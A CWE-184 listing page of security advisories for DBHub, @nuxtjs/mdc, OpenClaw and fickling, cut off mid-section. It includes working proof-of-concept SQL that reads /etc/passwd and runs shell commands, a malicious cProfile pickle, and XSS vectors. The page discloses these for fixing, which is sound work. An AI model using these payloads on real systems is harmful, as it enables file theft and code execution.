CWE-184
AllowedIncomplete List of Disallowed Inputs
Abstraction: Base · Status: Draft
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
436 vulnerabilities reference this CWE, most recent first.
GHSA-MWWR-P57H-56PF
Vulnerability from github – Published: 2026-09-24 19:37 – Updated: 2026-09-24 19:38Summary
Setting readonly = true on the execute_sql tool does not make the connection read-only. The connectors are written to set PostgreSQL default_transaction_read_only=on (and open SQLite in readOnly mode), but that code is gated on a config value that is never populated, so it never runs. The only thing left enforcing read-only is a classifier that inspects the first keyword of each statement. Any SELECT that writes or has side effects through a function call passes it. With an ordinary role this allows sequence tampering; with a privileged role it allows writing arbitrary files on the server (lo_export), reading arbitrary host files (pg_read_file), and remote code execution (dblink + COPY ... TO PROGRAM). The HTTP transport is unauthenticated and binds to 0.0.0.0 by default, so this is reachable by any network caller of /mcp.
Details
Two problems combine.
1. The database-level read-only control is dead code.
PostgresConnector.connect() only enables it when config.readonly is truthy (src/connectors/postgres/index.ts:175-177):
// SDK-level readonly enforcement: Set default_transaction_read_only for the entire connection
if (config?.readonly) {
poolConfig.options = (poolConfig.options || '') + ' -c default_transaction_read_only=on';
}
SQLite is gated the same way (src/connectors/sqlite/index.ts:192). ConnectorConfig.readonly is assigned in exactly one place, and only from source.readonly (src/connectors/manager.ts:236-238):
// Pass readonly flag for SDK-level enforcement (PostgreSQL, SQLite)
if (source.readonly !== undefined) {
config.readonly = source.readonly;
}
source.readonly can never have a value:
SourceConfighas noreadonlyfield (src/types/config.ts:49-62).readonlyexists only on the per-toolExecuteSqlToolConfig/CustomToolConfig.- The TOML loader rejects
readonlyat source level (src/config/toml-loader.ts:476-481: "readonly must be configured per-tool, not per-source"). - The
--readonlyCLI flag was removed and now hard-exits (src/config/env.ts:30).
So the if (source.readonly !== undefined) check is always false, config.readonly stays unset, and DB-level read-only is never applied in any configuration the loader accepts. The per-tool readonly only ever reaches the classifier; executeSQL() ignores options.readonly and runs multi-statement batches in a plain BEGIN rather than BEGIN READ ONLY (src/connectors/postgres/index.ts:598-666).
(The docs already describe the classifier as "a safety net... not a security boundary." This report is about the DB-level control above, which the code clearly means to apply — see the "SDK-level readonly enforcement" comments — but silently fails to wire up.)
2. The classifier only checks the leading keyword.
areAllStatementsReadOnly() (src/tools/execute-sql.ts:24-27) splits on ; and runs isReadOnlySQL() (src/utils/allowed-keywords.ts) on each statement. isReadOnlySQL matches the first word against an allow-list, scans for mutating keywords only inside WITH, blocks SELECT ... INTO, and special-cases EXPLAIN ANALYZE. It never looks at the functions a statement calls. These all classify as read-only:
SELECT setval('seq', n)/nextval('seq')— sequence write. Needs UPDATE (setval) or USAGE/UPDATE (nextval) on the sequence, which read roles normally hold.SELECT lo_export(lo, '/path')— writes a file on the server. Needs superuser orpg_write_server_files.SELECT pg_read_file('/etc/passwd')— reads any file the server user can read. Needs superuser orpg_read_server_files.SELECT dblink_exec('dbname=...', 'UPDATE ...')— opens a fresh connection (not read-only) and runs writes/DDL. Needs thedblinkextension.SELECT dblink_exec('dbname=...', $$COPY (SELECT 1) TO PROGRAM 'id'$$)— command execution. Needs superuser orpg_execute_server_program, plusdblink.
The read-only test suite covers none of these.
PoC
Point DBHub at a PostgreSQL source with read-only set on the tool:
[[sources]]
id = "default"
dsn = "postgres://app:app@localhost:5432/app"
[[tools]]
name = "execute_sql"
source = "default"
readonly = true
Start it and call execute_sql:
npx @bytebase/dbhub@latest --transport http --port 8080
With any role, a write that should be blocked goes through — the sequence value changes and the call returns success:
SELECT setval('users_id_seq', 1);
With a privileged role, the rest are also accepted and executed:
SELECT lo_export(lo_from_bytea(0, decode('48656c6c6f0a','hex')), '/tmp/dbhub_poc'); -- writes /tmp/dbhub_poc
SELECT pg_read_file('/etc/passwd'); -- reads a host file
SELECT dblink_exec('dbname=app', 'UPDATE users SET admin=true'); -- write via a new connection
SELECT dblink_exec('dbname=app', $$COPY (SELECT 1) TO PROGRAM 'id > /tmp/pwned'$$); -- runs a shell command
The decision can be reproduced without a database by running the project's own isReadOnlySQL + splitSQLStatements (with areAllStatementsReadOnly copied from src/tools/execute-sql.ts) over the strings above: direct INSERT/UPDATE/DROP, data-modifying CTEs, SELECT ... INTO, and EXPLAIN ANALYZE INSERT are all rejected, while every function-based statement above returns read-only = true.
Impact
Affects all released versions up to and including 0.22.2, on both stdio and HTTP transports, for PostgreSQL and SQLite. readonly = true does not stop writes. Anyone who can reach the execute_sql input can modify data under read-only mode — a network caller of the unauthenticated /mcp endpoint, a malicious MCP client, or untrusted content reaching an agent wired to DBHub through prompt injection. When the configured database role is privileged (common, since DBHub is often pointed at an existing admin DSN), the same access yields arbitrary file write on the server, arbitrary host-file read, and remote code execution on the database host.
Maintainer note (consolidation)
Tracking this as the canonical advisory for "read-only mode does not prevent database writes." The following reports describe the same root cause (read-only enforced only by the keyword classifier; the connection-level backstop was never wired) and are closed as duplicates:
- GHSA-7rgf-cwgq-c2qc — same unwired driver-level backstop, plus the SQLite write-effecting
PRAGMAgap. - GHSA-m689-287g-5xpc — SQLite assignment-form
PRAGMAwrite bypass (a subset of the above).
Preserving the SQLite-specific remediation from those reports: in isReadOnlySQL, the assignment form PRAGMA x = ... must be classified as a write (only the query/introspection form is read-only), and SQLite read-only executions are additionally guarded at the engine via PRAGMA query_only=ON.
GHSA-j656-3hf2-fvjc (MySQL/MariaDB -- comment parsing + multipleStatements) is a distinct root cause and is tracked separately.
Fix: https://github.com/bytebase/dbhub/pull/342 — adds engine-level read-only enforcement per tool (Postgres BEGIN READ ONLY, SQLite query_only, MySQL/MariaDB START TRANSACTION READ ONLY) plus the classifier hardening above.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@bytebase/dbhub"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.22.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61788"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-636",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-24T19:37:59Z",
"nvd_published_at": "2026-09-24T18:17:16Z",
"severity": "HIGH"
},
"details": "### Summary\n \nSetting `readonly = true` on the `execute_sql` tool does not make the connection read-only. The connectors are written to set PostgreSQL `default_transaction_read_only=on` (and open SQLite in `readOnly` mode), but that code is gated on a config value that is never populated, so it never runs. The only thing left enforcing read-only is a classifier that inspects the first keyword of each statement. Any `SELECT` that writes or has side effects through a function call passes it. With an ordinary role this allows sequence tampering; with a privileged role it allows writing arbitrary files on the server (`lo_export`), reading arbitrary host files (`pg_read_file`), and remote code execution (`dblink` + `COPY ... TO PROGRAM`). The HTTP transport is unauthenticated and binds to `0.0.0.0` by default, so this is reachable by any network caller of `/mcp`.\n \n### Details\n \nTwo problems combine.\n \n**1. The database-level read-only control is dead code.**\n \n`PostgresConnector.connect()` only enables it when `config.readonly` is truthy (`src/connectors/postgres/index.ts:175-177`):\n \n```ts\n// SDK-level readonly enforcement: Set default_transaction_read_only for the entire connection\nif (config?.readonly) {\n poolConfig.options = (poolConfig.options || \u0027\u0027) + \u0027 -c default_transaction_read_only=on\u0027;\n}\n```\n \nSQLite is gated the same way (`src/connectors/sqlite/index.ts:192`). `ConnectorConfig.readonly` is assigned in exactly one place, and only from `source.readonly` (`src/connectors/manager.ts:236-238`):\n \n```ts\n// Pass readonly flag for SDK-level enforcement (PostgreSQL, SQLite)\nif (source.readonly !== undefined) {\n config.readonly = source.readonly;\n}\n```\n \n`source.readonly` can never have a value:\n \n- `SourceConfig` has no `readonly` field (`src/types/config.ts:49-62`). `readonly` exists only on the per-tool `ExecuteSqlToolConfig` / `CustomToolConfig`.\n- The TOML loader rejects `readonly` at source level (`src/config/toml-loader.ts:476-481`: \"readonly must be configured per-tool, not per-source\").\n- The `--readonly` CLI flag was removed and now hard-exits (`src/config/env.ts:30`).\n \nSo the `if (source.readonly !== undefined)` check is always false, `config.readonly` stays unset, and DB-level read-only is never applied in any configuration the loader accepts. The per-tool `readonly` only ever reaches the classifier; `executeSQL()` ignores `options.readonly` and runs multi-statement batches in a plain `BEGIN` rather than `BEGIN READ ONLY` (`src/connectors/postgres/index.ts:598-666`).\n \n(The docs already describe the classifier as \"a safety net... not a security boundary.\" This report is about the DB-level control above, which the code clearly means to apply \u2014 see the \"SDK-level readonly enforcement\" comments \u2014 but silently fails to wire up.)\n \n**2. The classifier only checks the leading keyword.**\n \n`areAllStatementsReadOnly()` (`src/tools/execute-sql.ts:24-27`) splits on `;` and runs `isReadOnlySQL()` (`src/utils/allowed-keywords.ts`) on each statement. `isReadOnlySQL` matches the first word against an allow-list, scans for mutating keywords only inside `WITH`, blocks `SELECT ... INTO`, and special-cases `EXPLAIN ANALYZE`. It never looks at the functions a statement calls. These all classify as read-only:\n \n- `SELECT setval(\u0027seq\u0027, n)` / `nextval(\u0027seq\u0027)` \u2014 sequence write. Needs UPDATE (setval) or USAGE/UPDATE (nextval) on the sequence, which read roles normally hold.\n- `SELECT lo_export(lo, \u0027/path\u0027)` \u2014 writes a file on the server. Needs superuser or `pg_write_server_files`.\n- `SELECT pg_read_file(\u0027/etc/passwd\u0027)` \u2014 reads any file the server user can read. Needs superuser or `pg_read_server_files`.\n- `SELECT dblink_exec(\u0027dbname=...\u0027, \u0027UPDATE ...\u0027)` \u2014 opens a fresh connection (not read-only) and runs writes/DDL. Needs the `dblink` extension.\n- `SELECT dblink_exec(\u0027dbname=...\u0027, $$COPY (SELECT 1) TO PROGRAM \u0027id\u0027$$)` \u2014 command execution. Needs superuser or `pg_execute_server_program`, plus `dblink`.\n \nThe read-only test suite covers none of these.\n \n### PoC\n \nPoint DBHub at a PostgreSQL source with read-only set on the tool:\n \n```toml\n[[sources]]\nid = \"default\"\ndsn = \"postgres://app:app@localhost:5432/app\"\n \n[[tools]]\nname = \"execute_sql\"\nsource = \"default\"\nreadonly = true\n```\n \nStart it and call `execute_sql`:\n \n```\nnpx @bytebase/dbhub@latest --transport http --port 8080\n```\n \nWith any role, a write that should be blocked goes through \u2014 the sequence value changes and the call returns success:\n \n```sql\nSELECT setval(\u0027users_id_seq\u0027, 1);\n```\n \nWith a privileged role, the rest are also accepted and executed:\n \n```sql\nSELECT lo_export(lo_from_bytea(0, decode(\u002748656c6c6f0a\u0027,\u0027hex\u0027)), \u0027/tmp/dbhub_poc\u0027); -- writes /tmp/dbhub_poc\nSELECT pg_read_file(\u0027/etc/passwd\u0027); -- reads a host file\nSELECT dblink_exec(\u0027dbname=app\u0027, \u0027UPDATE users SET admin=true\u0027); -- write via a new connection\nSELECT dblink_exec(\u0027dbname=app\u0027, $$COPY (SELECT 1) TO PROGRAM \u0027id \u003e /tmp/pwned\u0027$$); -- runs a shell command\n```\n \nThe decision can be reproduced without a database by running the project\u0027s own `isReadOnlySQL` + `splitSQLStatements` (with `areAllStatementsReadOnly` copied from `src/tools/execute-sql.ts`) over the strings above: direct INSERT/UPDATE/DROP, data-modifying CTEs, `SELECT ... INTO`, and `EXPLAIN ANALYZE INSERT` are all rejected, while every function-based statement above returns read-only = true.\n \n### Impact\n \nAffects all released versions up to and including 0.22.2, on both stdio and HTTP transports, for PostgreSQL and SQLite. `readonly = true` does not stop writes. Anyone who can reach the `execute_sql` input can modify data under read-only mode \u2014 a network caller of the unauthenticated `/mcp` endpoint, a malicious MCP client, or untrusted content reaching an agent wired to DBHub through prompt injection. When the configured database role is privileged (common, since DBHub is often pointed at an existing admin DSN), the same access yields arbitrary file write on the server, arbitrary host-file read, and remote code execution on the database host.\n \n\n---\n\n### Maintainer note (consolidation)\n\nTracking this as the canonical advisory for \"read-only mode does not prevent database writes.\" The following reports describe the same root cause (read-only enforced only by the keyword classifier; the connection-level backstop was never wired) and are closed as duplicates:\n\n- **GHSA-7rgf-cwgq-c2qc** \u2014 same unwired driver-level backstop, plus the SQLite write-effecting `PRAGMA` gap.\n- **GHSA-m689-287g-5xpc** \u2014 SQLite assignment-form `PRAGMA` write bypass (a subset of the above).\n\nPreserving the SQLite-specific remediation from those reports: in `isReadOnlySQL`, the assignment form `PRAGMA x = ...` must be classified as a write (only the query/introspection form is read-only), and SQLite read-only executions are additionally guarded at the engine via `PRAGMA query_only=ON`.\n\nGHSA-j656-3hf2-fvjc (MySQL/MariaDB `--` comment parsing + `multipleStatements`) is a distinct root cause and is tracked separately.\n\nFix: https://github.com/bytebase/dbhub/pull/342 \u2014 adds engine-level read-only enforcement per tool (Postgres `BEGIN READ ONLY`, SQLite `query_only`, MySQL/MariaDB `START TRANSACTION READ ONLY`) plus the classifier hardening above.",
"id": "GHSA-mwwr-p57h-56pf",
"modified": "2026-09-24T19:38:00Z",
"published": "2026-09-24T19:37:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/bytebase/dbhub/security/advisories/GHSA-mwwr-p57h-56pf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61788"
},
{
"type": "WEB",
"url": "https://github.com/bytebase/dbhub/pull/342"
},
{
"type": "WEB",
"url": "https://github.com/bytebase/dbhub/commit/872bb338f7d31f6afe517a076ac3e3edafaaaf08"
},
{
"type": "PACKAGE",
"url": "https://github.com/bytebase/dbhub"
},
{
"type": "WEB",
"url": "https://github.com/bytebase/dbhub/releases/tag/v0.22.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "@bytebase/dbhub\u0027s read-only mode does not prevent database writes"
}
GHSA-MXM6-V9R6-R94C
Vulnerability from github – Published: 2026-09-16 22:14 – Updated: 2026-09-16 22:14Summary
@nuxtjs/mdc renders untrusted markdown (including raw HTML) to a Vue component tree. Across two prior advisories it added a URL/attribute sanitizer to block dangerous links in that HTML: validateProps / validateProp and an unsafeLinkPrefix deny-list (dist/runtime/parser/utils/props.js). The sanitizer runs at parse time (dist/runtime/parser/compiler.js) and parseMarkdown enables raw HTML by default (allowDangerousHtml: true, dist/runtime/parser/options.js), so the sanitizer is the only barrier and it applies with no configuration required.
Two sibling vectors bypass that sanitizer at the default configuration:
- SVG anchor
xlink:href.validateProponly scheme-checks attributes named exactlyhreforsrc:
if (attribute === "href" || attribute === "src") return isAnchorLinkAllowed(value);
return true;
An xlink:href (parsed to the hast property xLinkHref) is neither, so a javascript: URL on an SVG <a> is passed through. The renderer maps the property back to the real attribute (MDCRenderer.vue: find(html, "xLinkHref").attribute is xlink:href), so the output element is <a xlink:href="javascript:...">. Clicking it runs the script in the page origin. Plain <a href="javascript:..."> is correctly stripped, which is what makes this the un-patched sibling.
<iframe src="data:text/html,...">.data:text/htmlis present inunsafeLinkPrefix, but the check compares it againsturl.protocol:
if (unsafeLinkPrefix.some((prefix) => url.protocol.toLowerCase().startsWith(prefix))) return false;
For any data URI url.protocol is just "data:", so "data:".startsWith("data:text/html") is always false. Every data:text/* entry in the deny-list is therefore dead code, and <iframe src="data:text/html,<script>...</script>"> is allowed (iframe is not in the render-time dangerousTags, which is only ["script","base"]). The framed document executes script in an opaque origin. For contrast, srcdoc and object are blocked, so this is a precise gap rather than a general absence of filtering.
Reproduction
I will attach the zip file for POC, you can simply extract and run ./poc.sh to install mdc and show the poc in the html file.
nuxtjs-mdc-xss_poc.zip
Two zero-argument checks:
sh poc/poc.shinstalls@nuxtjs/mdcand runsparseMarkdown(the documented API) at default. It shows the parsed tree retainsa { xLinkHref: "javascript:..." }andiframe { src: "data:text/html,..." }, while the control payloadshref="javascript:..."andsrcdoc=...are removed by the sanitizer. This isolates the sanitizer bypass deterministically.poc/poc.shalso servespoc/poc.htmlover http (data: iframes and javascript: links are restricted under the file:// origin, so http is used). Open the printed URL and click the blue SVG link. The page contains the exact DOM the renderer produces for those parsed nodes; clicking the SVG link executes script in the page origin (same-origin), and the data:text/html iframe executes on load. The page prints VULNERABLE for each that fires.
Both vectors were confirmed executing in a current Chromium build: the SVG xlink:href link runs script in the document origin on click, and the data:text/html iframe runs script on load.
Suggested fix
In validateProp, scheme-check xlink:href (and the hast xLinkHref) the same way as href/src. In isAnchorLinkAllowed, compare the dangerous MIME-typed entries against the full URL (or href), not against url.protocol, so data:text/html is actually matched; or add iframe to the render-time dangerous-tag set / restrict iframe src schemes.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@nuxtjs/mdc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.22.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-63671"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-16T22:14:01Z",
"nvd_published_at": "2026-09-16T15:17:40Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`@nuxtjs/mdc` renders untrusted markdown (including raw HTML) to a Vue component tree. Across two prior advisories it added a URL/attribute sanitizer to block dangerous links in that HTML: `validateProps` / `validateProp` and an `unsafeLinkPrefix` deny-list (`dist/runtime/parser/utils/props.js`). The sanitizer runs at parse time (`dist/runtime/parser/compiler.js`) and `parseMarkdown` enables raw HTML by default (`allowDangerousHtml: true`, `dist/runtime/parser/options.js`), so the sanitizer is the only barrier and it applies with no configuration required.\n\nTwo sibling vectors bypass that sanitizer at the default configuration:\n\n1. SVG anchor `xlink:href`. `validateProp` only scheme-checks attributes named exactly `href` or `src`:\n\n ```\n if (attribute === \"href\" || attribute === \"src\") return isAnchorLinkAllowed(value);\n return true;\n ```\n\n An `xlink:href` (parsed to the hast property `xLinkHref`) is neither, so a `javascript:` URL on an SVG `\u003ca\u003e` is passed through. The renderer maps the property back to the real attribute (`MDCRenderer.vue`: `find(html, \"xLinkHref\").attribute` is `xlink:href`), so the output element is `\u003ca xlink:href=\"javascript:...\"\u003e`. Clicking it runs the script in the page origin. Plain `\u003ca href=\"javascript:...\"\u003e` is correctly stripped, which is what makes this the un-patched sibling.\n\n2. `\u003ciframe src=\"data:text/html,...\"\u003e`. `data:text/html` is present in `unsafeLinkPrefix`, but the check compares it against `url.protocol`:\n\n ```\n if (unsafeLinkPrefix.some((prefix) =\u003e url.protocol.toLowerCase().startsWith(prefix))) return false;\n ```\n\n For any data URI `url.protocol` is just `\"data:\"`, so `\"data:\".startsWith(\"data:text/html\")` is always false. Every `data:text/*` entry in the deny-list is therefore dead code, and `\u003ciframe src=\"data:text/html,\u003cscript\u003e...\u003c/script\u003e\"\u003e` is allowed (iframe is not in the render-time `dangerousTags`, which is only `[\"script\",\"base\"]`). The framed document executes script in an opaque origin. For contrast, `srcdoc` and `object` are blocked, so this is a precise gap rather than a general absence of filtering.\n\n## Reproduction\n\nI will attach the zip file for POC, you can simply extract and run `./poc.sh` to install mdc and show the poc in the html file.\n[nuxtjs-mdc-xss_poc.zip](https://github.com/user-attachments/files/29175603/nuxtjs-mdc-xss_poc.zip)\n\nTwo zero-argument checks:\n\n1. `sh poc/poc.sh` installs `@nuxtjs/mdc` and runs `parseMarkdown` (the documented API) at default. It shows the parsed tree retains `a { xLinkHref: \"javascript:...\" }` and `iframe { src: \"data:text/html,...\" }`, while the control payloads `href=\"javascript:...\"` and `srcdoc=...` are removed by the sanitizer. This isolates the sanitizer bypass deterministically.\n2. `poc/poc.sh` also serves `poc/poc.html` over http (data: iframes and javascript: links are restricted under the file:// origin, so http is used). Open the printed URL and click the blue SVG link. The page contains the exact DOM the renderer produces for those parsed nodes; clicking the SVG link executes script in the page origin (same-origin), and the data:text/html iframe executes on load. The page prints VULNERABLE for each that fires.\n\nBoth vectors were confirmed executing in a current Chromium build: the SVG `xlink:href` link runs script in the document origin on click, and the data:text/html iframe runs script on load.\n\n## Suggested fix\n\nIn `validateProp`, scheme-check `xlink:href` (and the hast `xLinkHref`) the same way as `href`/`src`. In `isAnchorLinkAllowed`, compare the dangerous MIME-typed entries against the full URL (or `href`), not against `url.protocol`, so `data:text/html` is actually matched; or add `iframe` to the render-time dangerous-tag set / restrict iframe `src` schemes.",
"id": "GHSA-mxm6-v9r6-r94c",
"modified": "2026-09-16T22:14:01Z",
"published": "2026-09-16T22:14:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nuxt-content/mdc/security/advisories/GHSA-mxm6-v9r6-r94c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63671"
},
{
"type": "WEB",
"url": "https://github.com/nuxt-content/mdc/pull/491"
},
{
"type": "WEB",
"url": "https://github.com/nuxt-content/mdc/commit/61d636c2983f021288e4fc5c4006733b38cf0d53"
},
{
"type": "PACKAGE",
"url": "https://github.com/nuxt-content/mdc"
},
{
"type": "WEB",
"url": "https://github.com/nuxt-content/mdc/releases/tag/v0.22.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "@nuxtjs/mdc\u0027s URL sanitizer misses SVG xlink:href and data:text/html, allowing XSS from untrusted markdown at the default configuration"
}
GHSA-P4WH-CR8M-GM6C
Vulnerability from github – Published: 2026-03-03 21:36 – Updated: 2026-06-08 23:24Summary
shell-env fallback trusted prefix-based executable paths for $SHELL, allowing execution of attacker-controlled binaries in local/runtime-env influence scenarios.
Details
In affected versions, shell selection accepted either:
1. a shell listed in /etc/shells, or
2. any executable under hardcoded trusted prefixes (/bin, /usr/bin, /usr/local/bin, /opt/homebrew/bin, /run/current-system/sw/bin).
The selected shell was then executed as a login shell (-l -c 'env -0') for PATH/environment probing.
On systems where a trusted-prefix directory is writable (for example common Homebrew layouts under /opt/homebrew/bin) and runtime $SHELL can be influenced, this enabled attacker-controlled binary execution in OpenClaw process context.
The fix removes the trusted-prefix executable fallback and now trusts only shells explicitly registered in /etc/shells; otherwise it falls back to /bin/sh.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
>= 2026.2.22, <= 2026.2.22-2 - Latest published vulnerable version:
2026.2.22-2 - Patched versions (released):
>= 2026.2.23
Fix Commit(s)
ff10fe8b91670044a6bb0cd85deb736a0ec8fb55
Release Process Note
This advisory sets patched_versions to the released version (2026.2.23).
This advisory now reflects released fix version 2026.2.23.
OpenClaw thanks @tdjackey for reporting.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "2026.2.22"
},
{
"fixed": "2026.2.23"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22217"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-829"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T21:36:16Z",
"nvd_published_at": "2026-03-18T02:16:23Z",
"severity": "MODERATE"
},
"details": "### Summary\n`shell-env` fallback trusted prefix-based executable paths for `$SHELL`, allowing execution of attacker-controlled binaries in local/runtime-env influence scenarios.\n\n### Details\nIn affected versions, shell selection accepted either:\n1. a shell listed in `/etc/shells`, or\n2. any executable under hardcoded trusted prefixes (`/bin`, `/usr/bin`, `/usr/local/bin`, `/opt/homebrew/bin`, `/run/current-system/sw/bin`).\n\nThe selected shell was then executed as a login shell (`-l -c \u0027env -0\u0027`) for PATH/environment probing.\n\nOn systems where a trusted-prefix directory is writable (for example common Homebrew layouts under `/opt/homebrew/bin`) and runtime `$SHELL` can be influenced, this enabled attacker-controlled binary execution in OpenClaw process context.\n\nThe fix removes the trusted-prefix executable fallback and now trusts only shells explicitly registered in `/etc/shells`; otherwise it falls back to `/bin/sh`.\n\n### Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Affected versions: `\u003e= 2026.2.22, \u003c= 2026.2.22-2`\n- Latest published vulnerable version: `2026.2.22-2`\n- Patched versions (released): `\u003e= 2026.2.23`\n\n### Fix Commit(s)\n- `ff10fe8b91670044a6bb0cd85deb736a0ec8fb55`\n\n### Release Process Note\nThis advisory sets `patched_versions` to the released version (`2026.2.23`).\nThis advisory now reflects released fix version `2026.2.23`.\n\nOpenClaw thanks @tdjackey for reporting.",
"id": "GHSA-p4wh-cr8m-gm6c",
"modified": "2026-06-08T23:24:01Z",
"published": "2026-03-03T21:36:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-p4wh-cr8m-gm6c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22217"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/ff10fe8b91670044a6bb0cd85deb736a0ec8fb55"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-arbitrary-binary-execution-via-shell-environment-variable-trusted-prefix-fallback"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: shell-env trusted-prefix fallback allowed attacker-controlled binary execution via $SHELL"
}
GHSA-P523-JQ9W-64X9
Vulnerability from github – Published: 2026-01-09 21:04 – Updated: 2026-01-11 14:54Fickling's assessment
cProfile was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/dc8ae12966edee27a78fe05c5745171a2b138d43).
Original report
Description
Summary
Fickling versions up to and including 0.1.6 do not treat Python's cProfile module as unsafe. Because of this, a malicious pickle that uses cProfile.run() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.
If a user relies on Fickling's output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.
This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.
Details
The cProfile module is missing from fickling's block list of unsafe module imports in fickling/analysis.py. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).
Incriminated source code:
- File:
fickling/analysis.py - Class:
UnsafeImports - Issue: The blocklist does not include
cProfile,cProfile.run, orcProfile.runctx
Reference to similar fix:
- PR #187 added
ptyto the blocklist to fix CVE-2025-67748 - PR #108 documented the blocklist approach
- The same fix pattern should be applied for
cProfile
How the bypass works:
- Attacker creates a pickle using
cProfile.run()in__reduce__ cProfile.run()accepts a Python code string and executes it directly (C-accelerated version of profile.run)- Fickling's
UnsafeImportsanalysis does not flagcProfileas dangerous - Only the
UnusedVariablesheuristic triggers, resulting in SUSPICIOUS severity - The pickle should be rated OVERTLY_MALICIOUS like
os.system,eval, andexec
Tested behavior (fickling 0.1.6):
| Function | Fickling Severity | RCE Capable |
|---|---|---|
| os.system | LIKELY_OVERTLY_MALICIOUS | Yes |
| eval | OVERTLY_MALICIOUS | Yes |
| exec | OVERTLY_MALICIOUS | Yes |
| cProfile.run | SUSPICIOUS | Yes ← BYPASS |
| cProfile.runctx | SUSPICIOUS | Yes ← BYPASS |
Suggested fix:
Add to the unsafe imports blocklist in fickling/analysis.py:
- cProfile
- cProfile.run
- cProfile.runctx
- _lsprof (underlying C module)
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
Environment: - Python 3.13.2 - fickling 0.1.6 (latest version, installed via pip)
Step 1: Create malicious pickle
import pickle
import cProfile
class MaliciousPayload:
def __reduce__(self):
return (cProfile.run, ("print('CPROFILE_RCE_CONFIRMED')",))
with open("malicious.pkl", "wb") as f:
pickle.dump(MaliciousPayload(), f)
Step 2: Analyze with fickling
from fickling.fickle import Pickled
from fickling.analysis import check_safety
with open('malicious.pkl', 'rb') as f:
data = f.read()
pickled = Pickled.load(data)
result = check_safety(pickled)
print(f"Severity: {result.severity}")
print(f"Analysis: {result}")
Expected output (if properly detected):
Severity: Severity.OVERTLY_MALICIOUS
Actual output (bypass confirmed):
Severity: Severity.SUSPICIOUS
Analysis: Variable `_var0` is assigned value `run(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file
Step 3: Prove RCE by loading the pickle
python -c "import pickle; pickle.load(open('malicious.pkl', 'rb'))"
Output
CPROFILE_RCE_CONFIRMED
4 function calls in 0.000 seconds
Ordered by: standard name
ncalls tottime percall cumtime percall filename:lineno(function)
1 0.000 0.000 0.000 0.000 <string>:1(<module>)
1 0.000 0.000 0.000 0.000 {built-in method builtins.exec}
1 0.000 0.000 0.000 0.000 {built-in method builtins.print}
1 0.000 0.000 0.000 0.000 {method 'disable' of '_lsprof.Profiler' objects}
Check: The code executes, proving RCE.
Pickle disassembly (evidence):
0: \x80 PROTO 5
2: \x95 FRAME 58
11: \x8c SHORT_BINUNICODE 'cProfile'
21: \x94 MEMOIZE (as 0)
22: \x8c SHORT_BINUNICODE 'run'
27: \x94 MEMOIZE (as 1)
28: \x93 STACK_GLOBAL
29: \x94 MEMOIZE (as 2)
30: \x8c SHORT_BINUNICODE "print('CPROFILE_RCE_CONFIRMED')"
63: \x94 MEMOIZE (as 3)
64: \x85 TUPLE1
65: \x94 MEMOIZE (as 4)
66: R REDUCE
67: \x94 MEMOIZE (as 5)
68: . STOP
highest protocol among opcodes = 4
Impact
Vulnerability Type:
Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).
Who is impacted:
Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes: - ML model validation pipelines - Model hosting platforms (Hugging Face, MLflow, etc.) - Security scanning tools that use fickling - CI/CD pipelines that validate pickle artifacts
Attack scenario:
